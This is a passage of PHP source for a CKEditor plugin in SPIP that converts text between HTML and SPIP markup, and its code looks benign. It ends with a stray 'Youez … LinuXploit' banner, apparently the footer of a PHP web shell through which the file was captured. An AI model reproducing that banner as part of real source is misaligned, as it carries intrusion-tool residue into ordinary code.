  $replace[] = function($m) {return "<$m[2]>";};

  /* plus de nettoyage : */
  $search[] = "#(\s*<p>\s*</p>)*\s*$#s" ;
  $replace[] = function($m) {return '';};

  $search[] = '~<br/?>$~' ;
  $replace[] = function($m) {return '';};

  foreach($search as $k => $v)
	$texte = preg_replace_callback($v, $replace[$k], $texte) ;

	if (ckeditor_lire_config("conversion", _CKE_CONVERSION_DEF) == 'complete') {
		/*
		 * Protection des modeles SPIP dans des
		 * <script type="ckeditor_wrap"> pour que le parser HTML
		 * ne bloque pas dessus comme non compliant HTML.
		 */
		$search_regex = sprintf("#<%s[^>]*>#s", PROTECTED_SPIP_TAGS);
		$texte = preg_replace_callback($search_regex,
						   'ckeditor_wrap_callback',
						   $texte);

		/*
		 * Reconversion HTML vers typo SPIP
		 */
		require_once(find_in_path('lib/'._CKE_HTML2SPIP_VERSION.'/misc_tools.php'));
		require_once(find_in_path('lib/'._CKE_HTML2SPIP_VERSION.'/HTMLEngine.class'));
		require_once(find_in_path('lib/'._CKE_HTML2SPIP_VERSION.'/HTML2SPIPEngine.class'));
		include_spip('inc/ckeditor_class') ;

		$identity_tags = ckeditor_lire_config("html2spip_identite", _CKE_HTML2SPIP_IDENTITE);

		define('_HTML2SPIP_PRESERVE_DISTANT', true);
		$parser = new CKE_HTML2SPIPEngine($GLOBALS['db_ok']['link'], _DIR_IMG);
		$parser->loggingEnable();
		if (trim($identity_tags) != '')
			$parser->addIdentityTags(explode(';', $identity_tags));
		$output = $parser->translate($texte);
		$texte = $output['default'];

		/*
		 * Recuperation des modeles SPIP proteges
		 */
		$search_regex = '|<script type="ckeditor_wrap">([^>]*)</script>|si';
		$texte = preg_replace_callback($search_regex,
							   'ckeditor_unwrap_callback',
						   $texte);
	}

	$ckeditor_html2spip_post = charger_fonction('ckeditor_html2spip_post','');
	$texte = $ckeditor_html2spip_post($texte);
	$texte = trim($texte, " \t\n\r\0\x0B\xC2\xA0"); // Aussi les espaces insécables ; cf https://www.php.net/manual/en/function.trim.php#98812

	return $texte;
}

function ckeditor_spip2html_pre_dist($texte) {
	return trim($texte, " \t\n\r\0\x0B\xC2\xA0");
}

function ckeditor_spip2html_post_dist($texte) {
	return trim($texte, " \t\n\r\0\x0B\xC2\xA0");
}

function ckeditor_spip2html($texte) {
	$ckeditor_spip2html_pre = charger_fonction('ckeditor_spip2html_pre','');
	$texte = $ckeditor_spip2html_pre($texte);

	$search[] = "#(?:(?:&amp;|&)lt;|<)(img|doc|emb|video|audio|text)(\d+)\|(.*?)(?:(?:&amp;|&)gt;|>)#s" ;
	$replace[] = function($m) {return ckeditor_traite_img_spip($m[1],$m[2],$m[3]);};

	/* Cas de modele sans option, ex: <img1> */
	$search[] = "#(?:(?:&amp;|&)lt;|<)(img|doc|emb|video|audio|text)(\d+)(?:(?:&amp;|&)gt;|>)#s" ;
	$replace[] = function($m) {return ckeditor_traite_img_spip($m[1],$m[2],'');};

	if (PROTECTED_SPIP_TAGS) {
		$search[] = "#(?:<|&lt;)(".PROTECTED_SPIP_TAGS.")(.*?)(?:>|&gt;)#s" ;
		$replace[] = function($m) {return "&lt;$m[1]-protected$m[2]&gt;";}; // les tags protégés ne doivent pas être traités par la fonction propre
	}

	/* Version avec bulle: [texte|bulle->lien] */
	$search[] = "#\[([^|\]]+?)\|([^\]]*?)-(?:&gt;|>)([^\]]*?)\]#s" ;
	$replace[] = function($m) {return ckeditor_traite_lien_spip($m[1],$m[3],$m[2]);};

	/* Version sans bulle: [texte->lien] */
	$search[] = "#\[([^\]]*?)-(?:&gt;|>)([^\]]*?)\]#s" ;
	$replace[] = function($m) {return ckeditor_traite_lien_spip($m[1],$m[2]);};

	$search[] = "~\[#?([^\]]*)(?:&lt;|<)-\]~s" ;
	$replace[] = function($m){return "<a name='$m[1]'></a>";};

	$search[] = "~\[\[~" ; // on protège les notes de bas de page : on a un moyen de les afficher dans ckeditor ...
	$replace[] = function($m) {return "[*[*";};

	$search[] = "~@~" ; // protection de @ : pour que Mailcrypt ne casse pas les liens
	$replace[] = function($m) {return "&#64;";};

	if (CLOSED_PROTECTED_SPIP_TAGS) {
		$search[] = "#&lt;((".CLOSED_PROTECTED_SPIP_TAGS.")-protected)(.*?)&gt;(.*?)&lt;/\\1&gt;#s" ;
		$replace[] = function($m) {return ckeditor_tag_unprotect($m[4],$m[2],$m[3]);};
	}

	foreach($search as $k => $v)
		$texte = preg_replace_callback($v, $replace[$k], $texte);

	$texte = propre($texte); // utilisation du filtre 'propre' : conseil de https://contrib.spip.net/RealET,411

	$texte = preg_replace("~\[\*\[\*~", "[[", $texte) ; // on déprotège ...
	if (PROTECTED_SPIP_TAGS) {
		$texte = preg_replace("#&lt;(".PROTECTED_SPIP_TAGS.")(-protected)#s", '&lt;$1', $texte);
	}

	$ckeditor_spip2html_post = charger_fonction('ckeditor_spip2html_post','');
	$texte = $ckeditor_spip2html_post($texte);

	return $texte ;
}

function ckeditor_convert_couleur($couleur) {
	if (preg_match("~^(.)(.)(.)$~", $couleur, $rgb)) {
		return $rgb[1].$rgb[1].$rgb[2].$rgb[2].$rgb[3].$rgb[3] ;
	} else {
		return $couleur ;
	}
}

function ckeditor_fix_default_values() {
	// fix : valeur par défaut pas lisible depuis un squelette
	// 1. nécessaire pour l'insertion d'image en mode spip
	ecrire_config("ckeditor/insertall", ckeditor_lire_config("insertall", _CKE_INSERTALL_DEF)) ;
	// 2. nécessaire pour le plugin spipmodeles
	ckeditor_ecrire_protectedtags() ;
}

Youez - 2016 - github.com/yon3zu
LinuXploit